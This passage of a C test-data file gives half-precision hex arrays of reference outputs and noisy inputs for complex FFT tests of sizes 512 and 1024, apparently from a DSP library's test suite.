0xba3b, 0xac45, 0x3e79, 0x3387, 0xb95c, 0xbddb, 0xb8a0, 0x2c3c,
0xb8fa, 0xb45a, 0x9e32, 0xbe61, 0x2c83, 0x3043, 0xb8ac, 0xaed0,
0x3a70, 0xad3f, 0x392a, 0xb24b, 0xbdd4, 0x3535, 0xb4ae, 0x32d6,
0x37f4, 0xb922, 0xb833, 0x3d43, 0xbcdf, 0xba88, 0x3b47, 0xbc96,
0x3962, 0xb37f, 0xb5ce, 0x33a9, 0xbd0f, 0x36bd, 0xb8fa, 0x3855,
0xadab, 0x3f05, 0xb894, 0x3f34, 0xb91e, 0x392b, 0x402f, 0x3c17,
0x3b0b, 0xbcfb, 0x3c84, 0x3923, 0x39e1, 0x3173, 0x39fa, 0x2d94,
0xb5e6, 0xba18, 0xbc19, 0xb048, 0x310a, 0xbcb3, 0xb489, 0xba4e,
0x3aaa, 0xb17b, 0x38ea, 0xb0ff, 0x2b67, 0xbaf2, 0xb947, 0xb25d,
0xc043, 0x280e, 0xbaa2, 0x3816, 0x28bf, 0x4092, 0xbcda, 0x3308,
0x390b, 0xbdcd, 0xbbe8, 0xb022, 0xb8cb, 0x352e, 0xbb32, 0xacf6,
0x370f, 0xb3ba, 0x2cb0, 0xb2e9, 0xb55d, 0xbdbe, 0xbcd4, 0x390d,
0xb512, 0x3dc5, 0xb80c, 0x39e9, 0x3976, 0x3666, 0xb66f, 0x3c4f,
0xb8ff, 0xb768, 0x2739, 0xb489, 0x36f4, 0x3c10, 0xa8f2, 0x33fe,
0xb8f1, 0xbf29, 0xb999, 0x32bf, 0xa4dc, 0x2f11, 0x3d9f, 0x2e82,
0xa4e4, 0x3d20, 0xaf76, 0xb80d, 0x2879, 0xa4ef, 0x3dea, 0xb7c7,
0xb555, 0x35f2, 0x383d, 0x3471, 0x35ff, 0xb7ad, 0xbfa4, 0xa6de,
0x2c8a, 0xbd19, 0xbd05, 0x3883, 0x3681, 0xa251, 0xbd4a, 0xbd7e,
0x37e8, 0xb7f5, 0x3b03, 0x3ac9, 0xb38b, 0xb533, 0xba11, 0x30d3,
0x35d1, 0x3174, 0x3c70, 0xb512, 0xbe7f, 0x3c02, 0x37a6, 0x3ece,
0x2ce5, 0xb90a, 0xb486, 0x36ba, 0xb52b, 0x3c7a, 0xad4f, 0x346b,
0x38ff, 0xbe97, 0x3c3d, 0x3a52, 0xb787, 0x3e05, 0x311b, 0x3337,
0x36a9, 0x3c29, 0xb967, 0xbdb2, 0x33ff, 0xb4ea, 0x3758, 0x3813,
0x3833, 0x0, 0x3758, 0xb813, 0x33ff, 0x34ea, 0xb967, 0x3db2,
0x36a9, 0xbc29, 0x311b, 0xb337, 0xb787, 0xbe05, 0x3c3d, 0xba52,
0x38ff, 0x3e97, 0xad4f, 0xb46b, 0xb52b, 0xbc7a, 0xb486, 0xb6ba,
0x2ce5, 0x390a, 0x37a6, 0xbece, 0xbe7f, 0xbc02, 0x3c70, 0x3512,
0x35d1, 0xb174, 0xba11, 0xb0d3, 0xb38b, 0x3533, 0x3b03, 0xbac9,
0x37e8, 0x37f5, 0xbd4a, 0x3d7e, 0x3681, 0x2251, 0xbd05, 0xb883,
0x2c8a, 0x3d19, 0xbfa4, 0x26de, 0x35ff, 0x37ad, 0x383d, 0xb471,
0xb555, 0xb5f2, 0x3dea, 0x37c7, 0x2879, 0x24ef, 0xaf76, 0x380d,
0xa4e4, 0xbd20, 0x3d9f, 0xae82, 0xa4dc, 0xaf11, 0xb999, 0xb2bf,
0xb8f1, 0x3f29, 0xa8f2, 0xb3fe, 0x36f4, 0xbc10, 0x2739, 0x3489,
0xb8ff, 0x3768, 0xb66f, 0xbc4f, 0x3976, 0xb666, 0xb80c, 0xb9e9,
0xb512, 0xbdc5, 0xbcd4, 0xb90d, 0xb55d, 0x3dbe, 0x2cb0, 0x32e9,
0x370f, 0x33ba, 0xbb32, 0x2cf6, 0xb8cb, 0xb52e, 0xbbe8, 0x3022,
0x390b, 0x3dcd, 0xbcda, 0xb308, 0x28bf, 0xc092, 0xbaa2, 0xb816,
0xc043, 0xa80e, 0xb947, 0x325d, 0x2b67, 0x3af2, 0x38ea, 0x30ff,
0x3aaa, 0x317b, 0xb489, 0x3a4e, 0x310a, 0x3cb3, 0xbc19, 0x3048,
0xb5e6, 0x3a18, 0x39fa, 0xad94, 0x39e1, 0xb173, 0x3c84, 0xb923,
0x3b0b, 0x3cfb, 0x402f, 0xbc17, 0xb91e, 0xb92b, 0xb894, 0xbf34,
0xadab, 0xbf05, 0xb8fa, 0xb855, 0xbd0f, 0xb6bd, 0xb5ce, 0xb3a9,
0x3962, 0x337f, 0x3b47, 0x3c96, 0xbcdf, 0x3a88, 0xb833, 0xbd43,
0x37f4, 0x3922, 0xb4ae, 0xb2d6, 0xbdd4, 0xb535, 0x392a, 0x324b,
0x3a70, 0x2d3f, 0xb8ac, 0x2ed0, 0x2c83, 0xb043, 0x9e32, 0x3e61,
0xb8fa, 0x345a, 0xb8a0, 0xac3c, 0xb95c, 0x3ddb, 0x3e79, 0xb387,
0xba3b, 0x2c45, 0x3203, 0x2de6, 0x39a0, 0xbd0b, 0x3c80, 0xbe2a,
0x36ca, 0x3d8c, 0x37f0, 0xbccf, 0xbafd, 0xba9c, 0xbc54, 0x38f9,
0xbd69, 0xbdba, 0x376c, 0xa91c, 0x3c64, 0x36ab, 0xb800, 0x3ed8,
0x3445, 0x31fc, 0xb39e, 0x356f, 0xb80f, 0x3f70, 0xbbcc, 0xb930,
0xb72a, 0xbac1, 0x3993, 0xbc52, 0x3210, 0x2d3b, 0xbc46, 0xb8de,
0x3b28, 0xac2b, 0x38c6, 0x30ef, 0x3040, 0xb9a3, 0xb5b2, 0xb745,
0xae61, 0x3a24, 0xb518, 0xaf5e, 0xbde1, 0xb8fe, 0xb190, 0xbd98,
0x3e95, 0xb3dd, 0x3a07, 0x3820, 0xba8c, 0x38e9, 0x2ce3, 0x2bae,
0xb2b1, 0xb53d, 0x34f0, 0x31db, 0xbb95, 0x34ef, 0xc0b7, 0x1a78,
0x3768, 0x37bd, 0xb9e5, 0x39d2, 0x3d26, 0xc159, 0xbd1c, 0xb87f,
0xb9fb, 0xb949, 0xb5ba, 0x334f, 0x3878, 0xb834, 0xb7f5, 0xbd1d,
0x3e99, 0x3b90, 0xb732, 0xb8b5, 0x3b3d, 0x3d1e, 0x3450, 0xa1e8,
0xb028, 0xb1b4, 0x3904, 0xbab0, 0xb856, 0xadd7, 0xbab6, 0xac69,
0xa710, 0x3406, 0xad64, 0xbc1b, 0xb880, 0xb928, 0xaf48, 0x24c5,
0x3e2d, 0x3db9, 0xbda0, 0xb775, 0x3658, 0x315c, 0x38ed, 0xb5b0,
0xbb28, 0x378b, 0x3495, 0xbb38, 0xb533, 0xb67b, 0xb899, 0xb719,
0xa9f5, 0x3436, 0xb883, 0x38aa, 0xb0b4, 0x3b0f, 0xbc39, 0x3f63,
0xb584, 0xbd96, 0xbb4d, 0x3a70, 0x3d07, 0xb424, 0xbd63, 0xbead,
0x3216, 0xbd13, 0x3916, 0xc0ad, 0xb82a, 0xba79, 0xbaf2, 0xb539,
0xbe08, 0xb47b, 0x4083, 0x4006, 0x3b95, 0x3a21, 0x3e33, 0xb80d,
0xb985, 0x3864, 0x3bde, 0x38a3, 0xb5cb, 0x35fb, 0xb243, 0x2b63,
0x362b, 0x2f22, 0x284b, 0x384b, 0xba73, 0xb80e, 0x327d, 0xb8f9,
0x39c3, 0x38b3, 0xb02c, 0x3e38, 0x3c80, 0x3dfb, 0x3bf3, 0xbcc5,
0x38bd, 0x392c, 0xb878, 0xbed4, 0x2c76, 0xb6f0, 0x3805, 0xb042,
0x36e8, 0xb9a3, 0x373a, 0xb680, 0x2774, 0x4061, 0x269a, 0xbf51,
0xb348, 0x5999, 0xba41, 0x3d12, 0x3286, 0x3855, 0xb54d, 0xb173,
0x34be, 0x38fb, 0xb22e, 0x3be4, 0xb0d3, 0x3dea, 0x31ae, 0xade6,
0x3736, 0x3def, 0x4002, 0xb73c, 0xb0bf, 0xa8e4, 0xbc01, 0xb840,
0xbb34, 0x3c93, 0xada2, 0x94ea, 0xb851, 0xbd8b, 0x3747, 0xb8f2,
0x3cc1, 0xbd4d, 0x35e3, 0x3888, 0xbc35, 0xb832, 0x3c85, 0xbdd3,
0xb25f, 0x37f2, 0x3fbc, 0x36bd, 0x3f46, 0x3874, 0xacdd, 0xad8c,
0x32af, 0x39a3, 0xbce1, 0xb737, 0x330a, 0xb22c, 0x3c6c, 0x3006,
0xb321, 0xac2b, 0xb9ad, 0x39c2, 0x3ded, 0xb223, 0xb5eb, 0xbb17,
0xb8bb, 0xb701, 0x3bab, 0x3d07, 0xb428, 0xbd64, 0xbb67, 0xb617,
0x38f5, 0x3d2d, 0xba32, 0x9aef, 0x3765, 0x25bb, 0x3bcc, 0xbb41,
0xb55b, 0xb482, 0xb8d9, 0x3253, 0xae71, 0xb2bf, 0x3068, 0x37c5,
0x3916, 0xac2a, 0x380f, 0x3962, 0x356a, 0x28ec, 0xbdcd, 0xbec5,
0xb2eb, 0x3013, 0xb114, 0x3701, 0xc057, 0x3da3, 0xae10, 0xba97,
0xadf3, 0xb085, 0xb51d, 0x34b4, 0xbb0f, 0xb743, 0xbd12, 0x2bd5,
0xb856, 0xb8fe, 0x3ce7, 0x38b9, 0xb6f4, 0x3c36, 0xaa91, 0xb56e,
0xbb77, 0xba46, 0x380c, 0x3a86, 0xb9d6, 0xb658, 0xb066, 0x3b44
};
static const uint16_t ref_cfft_noisy_512[1024] = {
0xae39, 0x0, 0xb066, 0xbb44, 0xb9d6, 0x3658, 0x380c, 0xba86,
0xbb77, 0x3a46, 0xaa91, 0x356e, 0xb6f4, 0xbc36, 0x3ce7, 0xb8b9,
0xb856, 0x38fe, 0xbd12, 0xabd5, 0xbb0f, 0x3743, 0xb51d, 0xb4b4,
0xadf3, 0x3085, 0xae10, 0x3a97, 0xc057, 0xbda3, 0xb114, 0xb701,
0xb2eb, 0xb013, 0xbdcd, 0x3ec5, 0x356a, 0xa8ec, 0x380f, 0xb962,
0x3916, 0x2c2a, 0x3068, 0xb7c5, 0xae71, 0x32bf, 0xb8d9, 0xb253,
0xb55b, 0x3482, 0x3bcc, 0x3b41, 0x3765, 0xa5bb, 0xba32, 0x1aef,
0x38f5, 0xbd2d, 0xbb67, 0x3617, 0xb428, 0x3d64, 0x3bab, 0xbd07,
0xb8bb, 0x3701, 0xb5eb, 0x3b17, 0x3ded, 0x3223, 0xb9ad, 0xb9c2,
0xb321, 0x2c2b, 0x3c6c, 0xb006, 0x330a, 0x322c, 0xbce1, 0x3737,
0x32af, 0xb9a3, 0xacdd, 0x2d8c, 0x3f46, 0xb874, 0x3fbc, 0xb6bd,
0xb25f, 0xb7f2, 0x3c85, 0x3dd3, 0xbc35, 0x3832, 0x35e3, 0xb888,
0x3cc1, 0x3d4d, 0x3747, 0x38f2, 0xb851, 0x3d8b, 0xada2, 0x14ea,
0xbb34, 0xbc93, 0xbc01, 0x3840, 0xb0bf, 0x28e4, 0x4002, 0x373c,
0x3736, 0xbdef, 0x31ae, 0x2de6, 0xb0d3, 0xbdea, 0xb22e, 0xbbe4,
0x34be, 0xb8fb, 0xb54d, 0x3173, 0x3286, 0xb855, 0xba41, 0xbd12,
0xb348, 0xd999, 0x269a, 0x3f51, 0x2774, 0xc061, 0x373a, 0x3680,
0x36e8, 0x39a3, 0x3805, 0x3042, 0x2c76, 0x36f0, 0xb878, 0x3ed4,
0x38bd, 0xb92c, 0x3bf3, 0x3cc5, 0x3c80, 0xbdfb, 0xb02c, 0xbe38,
0x39c3, 0xb8b3, 0x327d, 0x38f9, 0xba73, 0x380e, 0x284b, 0xb84b,
0x362b, 0xaf22, 0xb243, 0xab63, 0xb5cb, 0xb5fb, 0x3bde, 0xb8a3,
0xb985, 0xb864, 0x3e33, 0x380d, 0x3b95, 0xba21, 0x4083, 0xc006,
0xbe08, 0x347b, 0xbaf2, 0x3539, 0xb82a, 0x3a79, 0x3916, 0x40ad,
0x3216, 0x3d13, 0xbd63, 0x3ead, 0x3d07, 0x3424, 0xbb4d, 0xba70,
0xb584, 0x3d96, 0xbc39, 0xbf63, 0xb0b4, 0xbb0f, 0xb883, 0xb8aa,
0xa9f5, 0xb436, 0xb899, 0x3719, 0xb533, 0x367b, 0x3495, 0x3b38,
0xbb28, 0xb78b, 0x38ed, 0x35b0, 0x3658, 0xb15c, 0xbda0, 0x3775,
0x3e2d, 0xbdb9, 0xaf48, 0xa4c5, 0xb880, 0x3928, 0xad64, 0x3c1b,
0xa710, 0xb406, 0xbab6, 0x2c69, 0xb856, 0x2dd7, 0x3904, 0x3ab0,
0xb028, 0x31b4, 0x3450, 0x21e8, 0x3b3d, 0xbd1e, 0xb732, 0x38b5,
0x3e99, 0xbb90, 0xb7f5, 0x3d1d, 0x3878, 0x3834, 0xb5ba, 0xb34f,
0xb9fb, 0x3949, 0xbd1c, 0x387f, 0x3d26, 0x4159, 0xb9e5, 0xb9d2,
0x3768, 0xb7bd, 0xc0b7, 0x9a78, 0xbb95, 0xb4ef, 0x34f0, 0xb1db,
0xb2b1, 0x353d, 0x2ce3, 0xabae, 0xba8c, 0xb8e9, 0x3a07, 0xb820,
0x3e95, 0x33dd, 0xb190, 0x3d98, 0xbde1, 0x38fe, 0xb518, 0x2f5e,
0xae61, 0xba24, 0xb5b2, 0x3745, 0x3040, 0x39a3, 0x38c6, 0xb0ef,
0x3b28, 0x2c2b, 0xbc46, 0x38de, 0x3210, 0xad3b, 0x3993, 0x3c52,
0xb72a, 0x3ac1, 0xbbcc, 0x3930, 0xb80f, 0xbf70, 0xb39e, 0xb56f,
0x3445, 0xb1fc, 0xb800, 0xbed8, 0x3c64, 0xb6ab, 0x376c, 0x291c,
0xbd69, 0x3dba, 0xbc54, 0xb8f9, 0xbafd, 0x3a9c, 0x37f0, 0x3ccf,
0x36ca, 0xbd8c, 0x3c80, 0x3e2a, 0x39a0, 0x3d0b, 0x3203, 0xade6,
0xba3b, 0xac45, 0x3e79, 0x3387, 0xb95c, 0xbddb, 0xb8a0, 0x2c3c,
0xb8fa, 0xb45a, 0x9e32, 0xbe61, 0x2c83, 0x3043, 0xb8ac, 0xaed0,
0x3a70, 0xad3f, 0x392a, 0xb24b, 0xbdd4, 0x3535, 0xb4ae, 0x32d6,
0x37f4, 0xb922, 0xb833, 0x3d43, 0xbcdf, 0xba88, 0x3b47, 0xbc96,
0x3962, 0xb37f, 0xb5ce, 0x33a9, 0xbd0f, 0x36bd, 0xb8fa, 0x3855,
0xadab, 0x3f05, 0xb894, 0x3f34, 0xb91e, 0x392b, 0x402f, 0x3c17,
0x3b0b, 0xbcfb, 0x3c84, 0x3923, 0x39e1, 0x3173, 0x39fa, 0x2d94,
0xb5e6, 0xba18, 0xbc19, 0xb048, 0x310a, 0xbcb3, 0xb489, 0xba4e,
0x3aaa, 0xb17b, 0x38ea, 0xb0ff, 0x2b67, 0xbaf2, 0xb947, 0xb25d,
0xc043, 0x280e, 0xbaa2, 0x3816, 0x28bf, 0x4092, 0xbcda, 0x3308,
0x390b, 0xbdcd, 0xbbe8, 0xb022, 0xb8cb, 0x352e, 0xbb32, 0xacf6,
0x370f, 0xb3ba, 0x2cb0, 0xb2e9, 0xb55d, 0xbdbe, 0xbcd4, 0x390d,
0xb512, 0x3dc5, 0xb80c, 0x39e9, 0x3976, 0x3666, 0xb66f, 0x3c4f,
0xb8ff, 0xb768, 0x2739, 0xb489, 0x36f4, 0x3c10, 0xa8f2, 0x33fe,
0xb8f1, 0xbf29, 0xb999, 0x32bf, 0xa4dc, 0x2f11, 0x3d9f, 0x2e82,
0xa4e4, 0x3d20, 0xaf76, 0xb80d, 0x2879, 0xa4ef, 0x3dea, 0xb7c7,
0xb555, 0x35f2, 0x383d, 0x3471, 0x35ff, 0xb7ad, 0xbfa4, 0xa6de,
0x2c8a, 0xbd19, 0xbd05, 0x3883, 0x3681, 0xa251, 0xbd4a, 0xbd7e,
0x37e8, 0xb7f5, 0x3b03, 0x3ac9, 0xb38b, 0xb533, 0xba11, 0x30d3,
0x35d1, 0x3174, 0x3c70, 0xb512, 0xbe7f, 0x3c02, 0x37a6, 0x3ece,
0x2ce5, 0xb90a, 0xb486, 0x36ba, 0xb52b, 0x3c7a, 0xad4f, 0x346b,
0x38ff, 0xbe97, 0x3c3d, 0x3a52, 0xb787, 0x3e05, 0x311b, 0x3337,
0x36a9, 0x3c29, 0xb967, 0xbdb2, 0x33ff, 0xb4ea, 0x3758, 0x3813,
0x3833, 0x0, 0x3758, 0xb813, 0x33ff, 0x34ea, 0xb967, 0x3db2,
0x36a9, 0xbc29, 0x311b, 0xb337, 0xb787, 0xbe05, 0x3c3d, 0xba52,
0x38ff, 0x3e97, 0xad4f, 0xb46b, 0xb52b, 0xbc7a, 0xb486, 0xb6ba,
0x2ce5, 0x390a, 0x37a6, 0xbece, 0xbe7f, 0xbc02, 0x3c70, 0x3512,
0x35d1, 0xb174, 0xba11, 0xb0d3, 0xb38b, 0x3533, 0x3b03, 0xbac9,
0x37e8, 0x37f5, 0xbd4a, 0x3d7e, 0x3681, 0x2251, 0xbd05, 0xb883,
0x2c8a, 0x3d19, 0xbfa4, 0x26de, 0x35ff, 0x37ad, 0x383d, 0xb471,
0xb555, 0xb5f2, 0x3dea, 0x37c7, 0x2879, 0x24ef, 0xaf76, 0x380d,
0xa4e4, 0xbd20, 0x3d9f, 0xae82, 0xa4dc, 0xaf11, 0xb999, 0xb2bf,
0xb8f1, 0x3f29, 0xa8f2, 0xb3fe, 0x36f4, 0xbc10, 0x2739, 0x3489,
0xb8ff, 0x3768, 0xb66f, 0xbc4f, 0x3976, 0xb666, 0xb80c, 0xb9e9,
0xb512, 0xbdc5, 0xbcd4, 0xb90d, 0xb55d, 0x3dbe, 0x2cb0, 0x32e9,
0x370f, 0x33ba, 0xbb32, 0x2cf6, 0xb8cb, 0xb52e, 0xbbe8, 0x3022,
0x390b, 0x3dcd, 0xbcda, 0xb308, 0x28bf, 0xc092, 0xbaa2, 0xb816,
0xc043, 0xa80e, 0xb947, 0x325d, 0x2b67, 0x3af2, 0x38ea, 0x30ff,
0x3aaa, 0x317b, 0xb489, 0x3a4e, 0x310a, 0x3cb3, 0xbc19, 0x3048,
0xb5e6, 0x3a18, 0x39fa, 0xad94, 0x39e1, 0xb173, 0x3c84, 0xb923,
0x3b0b, 0x3cfb, 0x402f, 0xbc17, 0xb91e, 0xb92b, 0xb894, 0xbf34,
0xadab, 0xbf05, 0xb8fa, 0xb855, 0xbd0f, 0xb6bd, 0xb5ce, 0xb3a9,
0x3962, 0x337f, 0x3b47, 0x3c96, 0xbcdf, 0x3a88, 0xb833, 0xbd43,
0x37f4, 0x3922, 0xb4ae, 0xb2d6, 0xbdd4, 0xb535, 0x392a, 0x324b,
0x3a70, 0x2d3f, 0xb8ac, 0x2ed0, 0x2c83, 0xb043, 0x9e32, 0x3e61,
0xb8fa, 0x345a, 0xb8a0, 0xac3c, 0xb95c, 0x3ddb, 0x3e79, 0xb387,
0xba3b, 0x2c45, 0x3203, 0x2de6, 0x39a0, 0xbd0b, 0x3c80, 0xbe2a,
0x36ca, 0x3d8c, 0x37f0, 0xbccf, 0xbafd, 0xba9c, 0xbc54, 0x38f9,
0xbd69, 0xbdba, 0x376c, 0xa91c, 0x3c64, 0x36ab, 0xb800, 0x3ed8,
0x3445, 0x31fc, 0xb39e, 0x356f, 0xb80f, 0x3f70, 0xbbcc, 0xb930,
0xb72a, 0xbac1, 0x3993, 0xbc52, 0x3210, 0x2d3b, 0xbc46, 0xb8de,
0x3b28, 0xac2b, 0x38c6, 0x30ef, 0x3040, 0xb9a3, 0xb5b2, 0xb745,
0xae61, 0x3a24, 0xb518, 0xaf5e, 0xbde1, 0xb8fe, 0xb190, 0xbd98,
0x3e95, 0xb3dd, 0x3a07, 0x3820, 0xba8c, 0x38e9, 0x2ce3, 0x2bae,
0xb2b1, 0xb53d, 0x34f0, 0x31db, 0xbb95, 0x34ef, 0xc0b7, 0x1a78,
0x3768, 0x37bd, 0xb9e5, 0x39d2, 0x3d26, 0xc159, 0xbd1c, 0xb87f,
0xb9fb, 0xb949, 0xb5ba, 0x334f, 0x3878, 0xb834, 0xb7f5, 0xbd1d,
0x3e99, 0x3b90, 0xb732, 0xb8b5, 0x3b3d, 0x3d1e, 0x3450, 0xa1e8,
0xb028, 0xb1b4, 0x3904, 0xbab0, 0xb856, 0xadd7, 0xbab6, 0xac69,
0xa710, 0x3406, 0xad64, 0xbc1b, 0xb880, 0xb928, 0xaf48, 0x24c5,
0x3e2d, 0x3db9, 0xbda0, 0xb775, 0x3658, 0x315c, 0x38ed, 0xb5b0,
0xbb28, 0x378b, 0x3495, 0xbb38, 0xb533, 0xb67b, 0xb899, 0xb719,
0xa9f5, 0x3436, 0xb883, 0x38aa, 0xb0b4, 0x3b0f, 0xbc39, 0x3f63,
0xb584, 0xbd96, 0xbb4d, 0x3a70, 0x3d07, 0xb424, 0xbd63, 0xbead,
0x3216, 0xbd13, 0x3916, 0xc0ad, 0xb82a, 0xba79, 0xbaf2, 0xb539,
0xbe08, 0xb47b, 0x4083, 0x4006, 0x3b95, 0x3a21, 0x3e33, 0xb80d,
0xb985, 0x3864, 0x3bde, 0x38a3, 0xb5cb, 0x35fb, 0xb243, 0x2b63,
0x362b, 0x2f22, 0x284b, 0x384b, 0xba73, 0xb80e, 0x327d, 0xb8f9,
0x39c3, 0x38b3, 0xb02c, 0x3e38, 0x3c80, 0x3dfb, 0x3bf3, 0xbcc5,
0x38bd, 0x392c, 0xb878, 0xbed4, 0x2c76, 0xb6f0, 0x3805, 0xb042,
0x36e8, 0xb9a3, 0x373a, 0xb680, 0x2774, 0x4061, 0x269a, 0xbf51,
0xb348, 0x5999, 0xba41, 0x3d12, 0x3286, 0x3855, 0xb54d, 0xb173,
0x34be, 0x38fb, 0xb22e, 0x3be4, 0xb0d3, 0x3dea, 0x31ae, 0xade6,
0x3736, 0x3def, 0x4002, 0xb73c, 0xb0bf, 0xa8e4, 0xbc01, 0xb840,
0xbb34, 0x3c93, 0xada2, 0x94ea, 0xb851, 0xbd8b, 0x3747, 0xb8f2,
0x3cc1, 0xbd4d, 0x35e3, 0x3888, 0xbc35, 0xb832, 0x3c85, 0xbdd3,
0xb25f, 0x37f2, 0x3fbc, 0x36bd, 0x3f46, 0x3874, 0xacdd, 0xad8c,
0x32af, 0x39a3, 0xbce1, 0xb737, 0x330a, 0xb22c, 0x3c6c, 0x3006,
0xb321, 0xac2b, 0xb9ad, 0x39c2, 0x3ded, 0xb223, 0xb5eb, 0xbb17,
0xb8bb, 0xb701, 0x3bab, 0x3d07, 0xb428, 0xbd64, 0xbb67, 0xb617,
0x38f5, 0x3d2d, 0xba32, 0x9aef, 0x3765, 0x25bb, 0x3bcc, 0xbb41,
0xb55b, 0xb482, 0xb8d9, 0x3253, 0xae71, 0xb2bf, 0x3068, 0x37c5,
0x3916, 0xac2a, 0x380f, 0x3962, 0x356a, 0x28ec, 0xbdcd, 0xbec5,
0xb2eb, 0x3013, 0xb114, 0x3701, 0xc057, 0x3da3, 0xae10, 0xba97,
0xadf3, 0xb085, 0xb51d, 0x34b4, 0xbb0f, 0xb743, 0xbd12, 0x2bd5,
0xb856, 0xb8fe, 0x3ce7, 0x38b9, 0xb6f4, 0x3c36, 0xaa91, 0xb56e,
0xbb77, 0xba46, 0x380c, 0x3a86, 0xb9d6, 0xb658, 0xb066, 0x3b44
};
static const uint16_t in_cfft_noisy_1024[2048] = {
0xa6b5, 0x0, 0x3858, 0x0, 0x3a07, 0x0, 0x3807, 0x0,
0x282e, 0x0, 0xb84e, 0x0, 0xb915, 0x0, 0xb77f, 0x0,
0x22f4, 0x0, 0x37d5, 0x0, 0x3971, 0x0, 0x373e, 0x0,
0x2876, 0x0, 0xb804, 0x0, 0xb9b9, 0x0, 0xb6cd, 0x0,
0xa5b8, 0x0, 0x383b, 0x0, 0x394e, 0x0, 0x378f, 0x0,
0xa911, 0x0, 0xb800, 0x0, 0xb94c, 0x0, 0xb814, 0x0,
0xaa3b, 0x0, 0x371e, 0x0, 0x3a87, 0x0, 0x3810, 0x0,
0xa7e2, 0x0, 0xb81a, 0x0, 0xba2a, 0x0, 0xb803, 0x0,
0x9a92, 0x0, 0x3751, 0x0, 0x39f5, 0x0, 0x379c, 0x0,
0x2916, 0x0, 0xb861, 0x0, 0xb8e6, 0x0, 0xb756, 0x0,
0xac95, 0x0, 0x3809, 0x0, 0x3a56, 0x0, 0x37a7, 0x0,
0x2c52, 0x0, 0xb6ee, 0x0, 0xb981, 0x0, 0xb84f, 0x0,
0xa95f, 0x0, 0x37d8, 0x0, 0x39de, 0x0, 0x3816, 0x0,
0x2905, 0x0, 0xb74c, 0x0, 0xb977, 0x0, 0xb830, 0x0,
0x9bab, 0x0, 0x385b, 0x0, 0x39dd, 0x0, 0x3774, 0x0,
0xa6af, 0x0, 0xb871, 0x0, 0xb92d, 0x0, 0xb7d6, 0x0,
0xa873, 0x0, 0x3761, 0x0, 0x39ae, 0x0, 0x38c6, 0x0,
0xa91e, 0x0, 0xb78c, 0x0, 0xb985, 0x0, 0xb93d, 0x0,
0xab6e, 0x0, 0x37fe, 0x0, 0x39f9, 0x0, 0x38d9, 0x0,
0xa9f0, 0x0, 0xb8b4, 0x0, 0xb9a6, 0x0, 0xb75a, 0x0,
0x236f, 0x0, 0x36d5, 0x0, 0x3982, 0x0, 0x3729, 0x0,
0xad24, 0x0, 0xb7ce, 0x0, 0xb96e, 0x0, 0xb843, 0x0,
0x1dcc, 0x0, 0x373c, 0x0, 0x3950, 0x0, 0x3861, 0x0,
0x2b83, 0x0, 0xb755, 0x0, 0xb990, 0x0, 0xb637, 0x0,
0x284a, 0x0, 0x3830, 0x0, 0x39b7, 0x0, 0x3852, 0x0,
0x2cb5, 0x0, 0xb6d7, 0x0, 0xb969, 0x0, 0xb86f, 0x0,
0x26d6, 0x0, 0x3833, 0x0, 0x3908, 0x0, 0x3788, 0x0,
0x202a, 0x0, 0xb791, 0x0, 0xba01, 0x0, 0xb836, 0x0,
0x2840, 0x0, 0x36ed, 0x0, 0x3a23, 0x0, 0x3747, 0x0,
0xa910, 0x0, 0xb892, 0x0, 0xb959, 0x0, 0xb843, 0x0,
0x2428, 0x0, 0x374c, 0x0, 0x3832, 0x0, 0x374e, 0x0,
0x2bd7, 0x0, 0xb83b, 0x0, 0xba0e, 0x0, 0xb752, 0x0,
0xa07c, 0x0, 0x37ed, 0x0, 0x3a82, 0x0, 0x3881, 0x0,
0xab58, 0x0, 0xb79b, 0x0, 0xba22, 0x0, 0xb66e, 0x0,
0x2477, 0x0, 0x37c9, 0x0, 0x397d, 0x0, 0x3765, 0x0,
0x2b8a, 0x0, 0xb83f, 0x0, 0xb934, 0x0, 0xb7e5, 0x0,
0xa050, 0x0, 0x3843, 0x0, 0x391a, 0x0, 0x3814, 0x0,
0xae0b, 0x0, 0xb751, 0x0, 0xb929, 0x0, 0xb71f, 0x0,
0x21bb, 0x0, 0x3755, 0x0, 0x3983, 0x0, 0x38bb, 0x0,
0x2c33, 0x0, 0xb819, 0x0, 0xb9b2, 0x0, 0xb86f, 0x0,
0x2cfb, 0x0, 0x36a8, 0x0, 0x3a0c, 0x0, 0x38b4, 0x0,
0xae07, 0x0, 0xb81e, 0x0, 0xb9e1, 0x0, 0xb6be, 0x0,
0x2c44, 0x0, 0x3803, 0x0, 0x3a5a, 0x0, 0x3855, 0x0,
0xad43, 0x0, 0xb808, 0x0, 0xb96e, 0x0, 0xb7fe, 0x0,
0x2e95, 0x0, 0x391e, 0x0, 0x3992, 0x0, 0x3715, 0x0,
0xaa42, 0x0, 0xb883, 0x0, 0xb9a9, 0x0, 0xb83b, 0x0,
0x3004, 0x0, 0x37e8, 0x0, 0x39ab, 0x0, 0x37f9, 0x0,
0x1064, 0x0, 0xb791, 0x0, 0xb9a3, 0x0, 0xb803, 0x0,
0xa43b, 0x0, 0x384a, 0x0, 0x3961, 0x0, 0x3828, 0x0,
0x2ddb, 0x0, 0xb824, 0x0, 0xb9e6, 0x0, 0xb74a, 0x0,
0xa07a, 0x0, 0x388a, 0x0, 0x3993, 0x0, 0x382e, 0x0,
0xad76, 0x0, 0xb6bd, 0x0, 0xb9e1, 0x0, 0xb683, 0x0,
0x2b0a, 0x0, 0x3880, 0x0, 0x39b0, 0x0, 0x3878, 0x0,
0x9aeb, 0x0, 0xb84f, 0x0, 0xb8f7, 0x0, 0xb83d, 0x0,
0xb05d, 0x0, 0x3887, 0x0, 0x3989, 0x0, 0x3738, 0x0,
0xabc4, 0x0, 0xb818, 0x0, 0xb93d, 0x0, 0xb916, 0x0,
0x1ef5, 0x0, 0x3780, 0x0, 0x3921, 0x0, 0x38bd, 0x0,
0xa75f, 0x0, 0xb755, 0x0, 0xb9cd, 0x0, 0xb6d9, 0x0,
0xac95, 0x0, 0x37c3, 0x0, 0x39f8, 0x0, 0x37d6, 0x0,
0x990d, 0x0, 0xb80c, 0x0, 0xb948, 0x0, 0xb774, 0x0,
0xaadd, 0x0, 0x3776, 0x0, 0x3914, 0x0, 0x380a, 0x0,
0x2a32, 0x0, 0xb885, 0x0, 0xba09, 0x0, 0xb71b, 0x0,
0x2b0e, 0x0, 0x3733, 0x0, 0x39c8, 0x0, 0x36c2, 0x0,
0xaa10, 0x0, 0xb7ce, 0x0, 0xb9d3, 0x0, 0xb76e, 0x0,
0x9e33, 0x0, 0x37d1, 0x0, 0x39ae, 0x0, 0x3721, 0x0,
0xa01d, 0x0, 0xb78b, 0x0, 0xb987, 0x0, 0xb7af, 0x0,
